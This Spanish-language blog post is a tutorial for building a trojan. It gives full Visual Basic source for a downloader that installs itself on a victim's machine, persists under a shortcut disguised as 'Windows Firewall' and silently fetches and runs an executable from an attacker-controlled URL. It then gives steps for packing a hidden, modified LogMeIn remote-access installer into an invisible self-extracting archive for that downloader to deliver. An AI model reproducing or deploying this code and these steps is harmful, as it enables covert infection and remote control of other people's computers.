Downloader en VB.
Este downloader, fue creado con la intencion de utilizarlo con este post, pero cabe aclarar que sirve para cualquier otra aplicacion.
Qué es un Downloader?
Un downloader se utiliza para descargar en la maquina victima un programa pesado, es desir, que ocupa muchos MB entonces se hace imposible camuflarlo para mandarlo por messenger por ejemplo. En general, este “Programa Pesado” es un virus, o un troyano como en el caso nuestro.
Lo que hace es, basicamente, generar un server liviano, (20k) y cuando es ejecutado por la victima, se “instala” secretamente en la maquina y comienza a descargar el archivo, desde la URL que nosotros le hayamos indicado… cuando la descarga es finalizada, ejecuta el archivo descargado.
Eso es todo.
Comenzamos con el desarrollo de nuestro Downloader
El codigo está escrito en VB, solo hay que pegar el codigo en un Form, compilar y Listo! no necesita de ningun complemento.
Solo hay que editar 2 lineas, una es la URL de donde se descargara el archivo, y la otra es el Path de destino (donde se guardará) el mismo.
El downloader puede descargar y ejecutar cualquier extension de archivo, siempre y cuando esa extension esté asociada con algun programa en la PC victima. (comando Shell Execute)
Este downloader, al ser ejecutado, guarda un acceso directo al ejecutable del mismo, en la carpeta de inicio del sistema (menu inicio–>programas–>inicio), esto es por si la victima apaga la pc y el archivo no se ha terminado de descargar aun, entonces cuando la vuelva a prender, se comenzara a descargar nuevamente. Una vez terminada la descarga, el acceso directo se elimina.
Este es el codigo fuente del Downloader en VB:
[cc lang=”VB”]
‘declaraciones para ejecutar una vez descargado
Private Declare Function ShellExecute Lib “shell32.dll” Alias “ShellExecuteA” (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
‘declaraciones para guardar el archivo ini
Private Declare Function GetPrivateProfileString Lib “kernel32” Alias “GetPrivateProfileStringA” (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib “kernel32” Alias “WritePrivateProfileStringA” (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Declare Function FileExists Lib “shlwapi.dll” Alias “PathFileExistsA” (ByVal pszPath As String) As Long
‘declaraciones para descargar
Private Declare Function URLDownloadToFile Lib “urlmon” _
Alias “URLDownloadToFileA” _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS
‘declaraciones para guardar el acceso directon en el inicio del sistema
Private Declare Function SHGetSpecialFolderLocation Lib “shell32.dll” ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib “shell32.dll” Alias “SHGetPathFromIDListA” ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Const CSIDL_STARTUP = &H7
Private Const CSIDL_COMMON_STARTUP = &H18
Dim obj As Object
Dim acceso_directo As Object
Private Sub form_load()
Dim estado As String
Iniciarconwindows
estado = INI_Read(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”)
If Trim(estado) = “Listo!” Then
Quitariniciarconwindows
End
End If
Dim sSourceUrl As String
Dim sDestinationUrl As String
sSourceUrl = “http://www.mipagina.com.ar/lordblacksuca.exe” ‘ esta es la URL de donde se descarga el archivo
sDestinationUrl = “C:\lordblacksuca.msi” ‘este es el path donde se va a guardar el archivo
Call INI_Write(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”, “Descargando”)
DownloadFile sSourceUrl, sDestinationUrl
Call ShellExecute(Me.hwnd, vbNullString, sDestinationUrl, vbNullString, vbNullString, SW_SHOWNORMAL)
Call INI_Write(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”, “Listo!”)
End
End Sub
‘funcion para descargar
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0, sURL, _
sLocalFile, 0, 0) = ERROR_SUCCESS
End Function
‘funcion para que el programa inicie cuando se inicia windows
Private Function Iniciarconwindows()
Set obj = CreateObject(“wscript.Shell”)
Set acceso_directo = obj.CreateShortcut(GetSpecialfolder(CSIDL_STARTUP) & “\Windows Firewall.lnk”)
With acceso_directo
.TargetPath = App.Path & “\” & App.EXEName
.Save
End With
End Function
Function Quitariniciarconwindows()
If Dir(GetSpecialfolder(CSIDL_STARTUP) & “\Comodin.lnk”, vbNormal) = “” Then Exit Function
Call Kill(GetSpecialfolder(CSIDL_STARTUP) & “\Comodin.lnk”)
End Function
‘funcion para escribir y leer de un ini
Public Function INI_Read(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, Optional ByVal Default As String) As String
On Error GoTo ErrOut
Dim Size As Integer
Dim Value As String
‘Comprobamos que el archivo existe:
If Not CBool(FileExists(Filename)) Then Err.Raise 53
‘Se define el tamaño maximo de caracteres
‘que podra tener la variable Value:
Value = Space(256)
‘Se utiliza la función para obtener
‘el valor de la clave:
Size = GetPrivateProfileString(Key_Value, Key_Name, Default, Value, Len(Value), Filename)
‘Si el tamaño es mayor a 0 entonces
‘se ha encontrado el valor de la clave:
If Size > 0 Then
Value = VBA.Left$(Value, Size)
‘Devolvemos el valor de la clave:
If VBA.Right$(VBA.Trim$(Value), 1) = Chr(0) Then Value = VBA.Left$(VBA.Trim$(Value), Len(VBA.Trim$(Value)) – 1)
INI_Read = VBA.Trim$(Value)
Exit Function
End If
ErrOut:
INI_Read = Default
End Function
‘Metodo de escritura. Si el archivo al que se refiere el parametro Filename
‘no existe se crea automaticamente:
Public Sub INI_Write(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, ByVal Value As String)
On Error GoTo ErrOut
Dim Size As Integer
‘Escribimos el valor de la clave:
Size = WritePrivateProfileString(Key_Value, Key_Name, Value, Filename)
ErrOut:
End Sub
‘funcion para obtener el path al inicio del sistema
Private Function GetSpecialfolder(CSIDL As Long) As String
Dim ret As Long, IDL As ITEMIDLIST
ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
Path$ = Space$(512)
ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) – 1)
Exit Function
End If
GetSpecialfolder = “”
End Function
[/cc]
Para que no se gasten en Copiar y Pegar, aca les dejo el Proyecto de Visual Basic para que descargen:
Eso fue todo en cuanto al Downloader.
Complementando el Troyano Indetectable con LogMeIn
Como habrán visto, el troyano se compone de 3 archivos. El Instalador Modificado de LogMeIn, el Patch para hacerlo invisible y un archivo .bat, para coordinar todo. Ahora, tenemos que unirlos a todos en un solo .exe
Aclaro en este punto, que existen muchas formas de hacerlo, cualquiera es válida, solo hay que tener una precaución:
Este troyano fue ideado para ejecutarse mediante una Inyección USB por lo tanto habia cosas que no importaban, pero que ahora si, por ejemplo, el archivo ejecutar.bat contiene nuestros datos de acceso a la cuenta de LogMeIn, por lo tanto, si el downloader descarga el archivo, la victima tendria “al alcance de sus manos” nuestros datos, entonces resultariamos nosotros los “hackeados”.
Eso se puede solucionar, convirtiendo el archivo .bat a .exe mediante el programa Bat to Exe Converter de esta forma:
Convertir el .bat a .exe
1º Descargar al archivo: http://rapidshare.com/files/270764528/DownloaderVB_y_Bat_to_Exe_Converter.rar
2º Seleccionar el archivo .bat a ser convertido.
3º Configurar las opciones ASI:
4º Apretar Compile y Listo!
Teniendo ese tema solucionado, solo resta unir todos los archivos necesarios para la ejecución.
Para ello, utilizamos el WinRar, y hacemos un archivo SelfExtract invisible, y que al finalizar ejecute el archivo, ejecutar.exe de esta forma:
1º Seleccionar los archivos: ejecutar.exe, el Instalador Modificado de Logmein y el Patch para hacerlo invisible, hacer click derecho sobre uno de ellos y poner Añadir al Archivo… o Add to file… si esta en inglés. (DEBES tener el WinRar instalado)
2º Seleccionamos Crear un Archivo SFX y Crear un Archivo sólido
3º En la pestaña Avanzado, hacemos click en Opciones SFX… ahí debemos indicar, que los archivos se extraigan en la misma carpeta y escribimos el nombre del archivo que tiene que ejecutar al finalizar la extracción:
4º En la pestaña Modos, configurar de la siguiente forma:
5º Si lo deseas en la pestaña Texto e Icono, puedes seleccionar un icono para el exe final.
6º Apretar en Aceptar y Listo!
Eso fue todo.
Este archivo que hemos creado, es un único archivo .exe, que al ser ejecutado, descomprime los otros archivos en la misma carpeta, y luego ejecuta el archivo llamado ejecutar.exe que es el que inicia todo el proceso de instalacion.
OBIAMENTE, los pasos a seguir, son subir el ultimo archivo creado a un ftp, y apuntar esa URL al downloader, para que este lo descargue y ejecute.